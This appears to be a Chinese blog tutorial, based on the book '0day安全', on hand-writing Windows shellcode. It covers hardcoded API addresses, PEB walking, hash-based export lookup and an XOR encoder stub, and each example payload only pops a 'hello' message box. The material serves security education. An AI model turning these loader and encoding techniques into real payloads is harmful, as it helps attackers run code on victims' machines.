shellcode入门

本文介绍了Shellcode的基础知识,包括如何通过内联汇编创建功能,使用OllyDbg提取字节码,以及利用Dependency Walker计算函数地址。文章通过实例展示了如何将字节码转化为Shellcode,并讨论了Shellcode的编码过程,以避免'x00'字节导致的问题。在解码部分,文章解释了解码器如何集成在Shellcode中,并提供了解码的详细步骤。最后,提到了适用于Windows 7的Shellcode版本。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

整理自《0day安全:软件漏洞分析技术》第2版

系统:VMware安装的Window XP SP2

工具:vc++6.0, ollydbg, Dependency Walker, python

步骤:通过内联汇编__asm实现功能,再在OllyDbg中提取对应字节码,最后转化为shellcode。

例1:

该程序弹出一个对话框,点击确认后程序退出执行

用到的两个函数MessageBox和ExitProcesss的地址通过dependency walker人工计算

ExitProcesss地址=0x7c800000+0x0001caa2 = 0x7c81caa2 (MessageBoxA类似)


另外,程序运行默认会加载kernel32.dll和ntdll.dll,不会加载user32.dll。但要调用MessageBoxA函数,必须显示加载user32.dll到内存空间。

#include <stdio.h>
#include <windows.h>

int main()
{
    HINSTANCE libHandle;
    libHandle = LoadLibraryA("user32.dll");
    _asm{
            sub sp,0x440    //抬高栈空间
            xor ebx,ebx        //ebx置零
            push ebx        //字符串的结尾'\0'
            push 0x216f6c6c    //压入字符串"hello!",栈向低地址空间增长
            push 0x65680000

            lea eax,[esp+2]    //esp+2指向字符串首地址
            push ebx        //压入MessageBoxA的四个参数
            push eax
            push eax
            push ebx
            mov eax,0x77d5050b //MessageBoxA address
            call eax
            push ebx
            mov eax,0x7c81caa2 //ExitProcess address
            call eax
    }
    return 0;
}
在ollydbg中查看其字节码,并复制


用python处理这些字节码得到shellcode(可利用split函数和join()函数),最后shellcode测试程序如下

#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x66\x81\xEC\x40\x04\x33\xDB\x53\x68\x6C\x6C\x6F\x21\x68\x00\x00\x68\x65\x8D\x44\x24\x02\x53\x50\x50\x53\xB8\x0B\x05\xD5\x77\xFF\xD0\x53\xB8\xA2\xCA\x81\x7C\xFF\xD0";

int main()
{
	HINSTANCE libHandle;
	libHandle = LoadLibraryA("user32.dll");
	_asm{
			lea eax,shellcode
			push eax
			ret
	}
	return 0;
}
例2:
功能和上面一样,但为了使shellcode更通用,在shellcode里利用LoadLibrary函数加载user32.dll,并且遍历user32.dll的导出函数表,然后获取MessageBoxA和ExitProcess的地址。

#include <stdio.h>
//#include <windows.h>

int main()
{
	//HINSTANCE libHandle;
	//libHandle = LoadLibraryA("user32.dll");
	_asm{
			CLD				//DF标志位置零
			push 0x1E380A6A	//压入MessageBoxA的hash值
			push 0x4FD18963	//压入ExitProcess的hash值
			push 0x0C917432	//压入LoadLibrary的hash值
			mov esi,esp		//esi指向第一函数也即LoadLibrary的hash
			lea edi,[esi-0xc]	//edi指向的栈内空间将要依次写入上面三个函数的地址

			;make some stack space
			xor ebx,ebx
			mov bh,0x4
			sub esp,ebx
			
			;push "user32"
			mov bx,0x3233
			push ebx
			push 0x72657375
			push esp	//esp指向字符串"user32"首地址
			xor edx,edx
			
			;find base addr of kernel32.dll
			mov ebx,fs:[edx+0x30]
			mov ecx,[ebx+0x0c]
			mov ecx,[ecx+0x1c]
			mov ecx,[ecx]
			mov ebp,[ecx+0x8]	//此时ebp中存储着kernel32.dll的基址
			
find_lib_functions:
			lods    dword ptr [esi]	//读取esi指向的函数hash到eax              
			cmp     eax, 0x1E380A6A                    
			jnz     find_functions	
			xchg    eax, ebp
			call    dword ptr [edi-0x8]                
			xchg    eax, ebp
			
find_functions:
			pushad	//压入8个通用寄存器的值,顺序为eax,ecx,edx,ebx,esp,ebp,esi,edi
			mov     eax, dword ptr [ebp+0x3C]          
			mov     ecx, dword ptr [ebp+eax+0x78]      
			add     ecx, ebp	//ecx=user32.dll导入表的绝对地址                
			mov     ebx, dword ptr [ecx+0x20]          
			add     ebx, ebp	//ebx=user32.dll导入表中的函数名称表的绝对地址                  
			xor     edi, edi
			
next_function_loop:	//依次取函数名称,edi计数
			inc     edi                              
			mov     esi, dword ptr [ebx+edi*4]       
			add     esi, ebp                         
			cdq                                      
			
hash_loop:		//对每个字节循环右移7位并累加的方式计算hash值
			movsx   eax, byte ptr [esi]
			cmp     al, ah                           
			jz		compare_hash 
			ror     edx, 7
			add     edx, eax	//edx存储最终计算出的hash值
			inc     esi
			jmp     hash_loop
			
compare_hash:
			cmp     edx, dword ptr [esp+0x1C]     //esp+0x1C指向前面pushad压入的eax的值,为当前函数hash 
			jnz		next_function_loop
			mov     ebx, dword ptr [ecx+0x24]          
			add     ebx, ebp                         
			mov     di, word ptr [ebx+edi*2]         
			mov     ebx, dword ptr [ecx+0x1C]          
			add     ebx, ebp                         
			add     ebp, dword ptr [ebx+edi*4]	//ebp=求得的函数地址
			xchg    eax, ebp	//交换eax和ebp的值
			pop     edi	
			stosd		//将求得的函数地址写入edi指向的栈空间,并将edi加4									 
			push    edi                              
			popad		弹出8个通用寄存器的值
			cmp     eax, 0x1E380A6A
			jnz		find_lib_functions
			
function_call:
			xor     ebx, ebx
			push    ebx  //压入字符串"hello!!!"
			push 0x2121216f 
			push 0x6c6c6568
			mov     eax, esp
			push    ebx
			push    eax
			push    eax
			push    ebx
			call    [edi-0x4]
			push    ebx
			call    [edi-0x8]
	}
	return 0;
}
同样在ollydbg里运行上面程序获取对应的字节码,然后用python处理得到对应的shellcode,测试程序如下:

#include <stdio.h>

char shellcode[]=
//"\x66\x81\xEC\x40\x04\x33\xDB\x53\x68\x6C\x6C\x6F\x21\x68\x00\x00\x68\x65\x8D\x44\x24\x02\x53\x50\x50\x53\xB8\x0B\x05\xD5\x77\xFF\xD0\x53\xB8\xA2\xCA\x81\x7C\xFF\xD0";
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x6F\x21\x21\x21\x68\x68\x65\x6C\x6C\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x33\xC0";
int main()
{
	_asm{
			lea eax,shellcode
			push eax
			ret
	}
	return 0;
}

对于程序的流程不太懂,可以用ollydbg把执行的过程走一遍,还可以参考链接 http://bbs.pediy.com/showthread.php?t=57128

例3

功能和例1一样,只不过对shellcode进行了编码,即对原始shellcode的每一字节,和我们提供的key进行异或运算。这里key=44。

对shellcode编码可以过滤掉其中的’\x00‘,因为它可能在某些植入shellcode的场合提前截断shellcode。更多的好的编码算法可以参考MetaSploit。

由于编码了shellcode,所以在定位到shellcode执行时首先要解码还原出原始的shellcode。这个解码部分也集成在当前shellcode中。

解码部分占20字节(0x14),所以先add eax,0x14,让eax指向真正的要解码的部分,然后逐字节与0x44异或,遇到结束字节'\x90’就停止。

#include <stdio.h>

unsigned char shellcode[]=
"\x83\xc0\x14"	//add eax,0x14
"\x33\xC9"       //xor ecx,ecx
"\x8A\x1C\x08"	//mov bl,[eax+ecx] decode_loop
"\x80\xF3\x44"	//xor bl,0x44
"\x88\x1C\x08"	//mov [eax+ecx],bl
"\x41"		//inc ecx
"\x80\xFB\x90"	//cmp bl,0x90
"\x75\xF1"	//jne decode_loop
"\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48\xcf\xb0\xc9\x3a"
"\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17\x2c\x31\x37\x21\x36\x10\x77\x96"
"\x20\xcf\x1e\x74\xcf\x0f\x48\xcf\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c"
"\x5a\x31\x41\xd1\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e\x80\x30\x4c\x85"
"\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31\xa0\xcf\x1d\x60\x47\x99\x22\xcf"
"\x78\x3f\xcf\x1d\x58\x47\x99\x47\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a"
"\x31\xed\x77\x9f\x17\x2c\x2b\x65\x65\x65\x2c\x2c\x21\x28\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\x77\x84\xd4";
int main()
{
	_asm{
			lea eax,shellcode
			push eax
			ret
	}
	return 0;
}

 

例4

对于例2的程序,以下是适合window7的一个版本:

#include <windows.h>

#include <stdio.h>

void main()
{
    _asm
    {
        CLD
        ;store hash
        push 0x1e380a6a
        push 0x4fd18963
        push 0x0c917432
        mov esi,esp
        lea edi,[esi-0xc]

        ;make some stack space
        xor ebx,ebx
        mov bh,0x04
        sub esp,ebx
        ;push apointer to"user32" onto stack
        mov bx,0x3233;
        push ebx
        push 0x72657375
        push esp
        xor edx,edx

        ;find base addr of kernel32.dll
        /*mov ebx,fs:[edx+0x30]
        mov ecx,[ebx+0x0c]
        mov ecx,[ecx+0x1c]
        mov ecx,[ecx]
        mov ebp,[ecx+0x08]*/
        push eax
        push esi
        push edi
        xor     ecx,ecx

        mov eax,fs:[30h]     ;得到PEB结构地址
        mov ebx,eax 
        mov eax,[eax + 0ch] ;得到PEB_LDR_DATA结构地址
        mov esi,[eax + 1ch]
        push eax;

next_module:
        mov   eax,[esi+08h]    ;取列表中模块基址到eax
        mov   edi,[esi+20h]    ;取所属模块的字串首地址到EDI
        mov   esi,[esi]
        cmp  [edi+12*2],cx     ;cx=0 比较字串的尾部是否为0
        jnz  next_module       ;继续枚举
        mov  ebp,eax           ;eax保存着kernel32的基址
        pop ecx
        pop edi
        pop esi
        pop eax

find_lib_functions:
        lodsd
        cmp eax,0x1e380a6a
        jne find_functions
        xchg eax,ebp
        call [edi-0x8]
        xchg eax,ebp

find_functions:
        pushad
        mov eax,[ebp+0x3c]
        mov ecx,[ebp+eax+0x78]
        add ecx,ebp
        mov ebx,[ecx+0x20]
        add ebx,ebp
        xor edi,edi

next_function_loop:
        inc edi
        mov esi,[ebx+edi*4]
        add esi,ebp
        cdq

hash_loop:
        movsx eax,byte ptr[esi]
        cmp al,ah
        jz compare_hash
        ror edx,7
        add edx,eax
        inc esi
        jmp hash_loop

compare_hash:
        cmp edx,[esp+0x1c]
        jnz next_function_loop
        mov ebx,[ecx+0x24]
        ;table
        add ebx,ebp
        mov di,[ebx+2* edi]
        mov ebx,[ecx+0x1c]
        add ebx,ebp
        add ebp,[ebx+4*edi]
        xchg eax,ebp
        pop edi
        stosd
        push edi
        popad
        cmp eax,0x1e380a6a
        jne find_lib_functions

function_call:
        xor ebx,ebx
        push ebx
     	push 0x2121216f 
		push 0x6c6c6568
        mov eax,esp
        push ebx
        push eax
        push eax
        push ebx
        call [edi-0x04]
        push ebx
        call [edi-0x08]
        nop
        nop
        nop
        nop
    }
}


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值